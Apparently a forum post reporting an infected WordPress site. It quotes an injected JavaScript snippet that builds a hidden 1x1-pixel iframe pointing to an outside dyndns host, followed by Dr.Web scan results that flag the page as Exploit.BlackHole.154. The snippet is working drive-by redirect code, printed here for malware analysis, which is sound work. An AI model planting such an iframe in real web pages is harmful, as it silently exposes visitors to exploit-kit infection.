http://www.bilgi-postasi.com/?pag...

fireold

1. (function() {
   
2.     var avnk = document.createElement('iframe');
   
3. 
   
4.     avnk.src = 'http://bianchettrasporti.dyndns.org/esd.php';
   
5.     avnk.style.position = 'absolute';
   
6.     avnk.style.border = '0';
   
7.     avnk.style.height = '1px';
   
8.     avnk.style.width = '1px';
   
9.     avnk.style.left = '1px';
   
10.     avnk.style.top = '1px';
    
11. 
    
12.     if (!document.getElementById('avnk')) {
    
13.         document.write('<div id=\'avnk\'></div>');
    
14.         document.getElementById('avnk').appendChild(avnk);
    
15.     }
    
16. })();

复制代码

Dr.Web

Checking:http://www.bilgi-postasi.com/wp-includes/js/jquery/jquery.js?ver=1.4.2
File size:70.50 KB
File MD5:518215c646beff570b8d9849429139d4

http://www.bilgi-postasi.com/wp-includes/js/jquery/jquery.js?ver=1.4.2 - archive JS-HTML
>http://www.bilgi-postasi.com/wp-includes/js/jquery/jquery.js?ver=1.4.2/JSTag_1[aded][6c15] - Ok
>http://www.bilgi-postasi.com/wp-includes/js/jquery/jquery.js?ver=1.4.2/JSTag_2[d2f4][470e] - Ok
http://www.bilgi-postasi.com/wp-includes/js/jquery/jquery.js?ver=1.4.2 - Ok



Checking:http://www.bilgi-postasi.com/wp-content/themes/thewebnews/scripts.js
File size:499 bytes
File MD5:9ca1bf20a0be9456be79c6e033614bd2

http://www.bilgi-postasi.com/wp-content/themes/thewebnews/scripts.js - archive JS-HTML
>http://www.bilgi-postasi.com/wp-content/themes/thewebnews/scripts.js/JSFile_1[0][1f3] - Ok
http://www.bilgi-postasi.com/wp-content/themes/thewebnews/scripts.js - Ok

Checking:http://www.bilgi-postasi.com/?pag...
Engine version:7.0.4.9250
Total virus-finding records:4168935
File size:13.73 KB
File MD5:d85e4e371726b8951514d5710297ca9d

http://www.bilgi-postasi.com/?pag... - archive JS-HTML
>http://www.bilgi-postasi.com/?pag.../JSTAG_1[7a5][7ef] infected with Exploit.BlackHole.154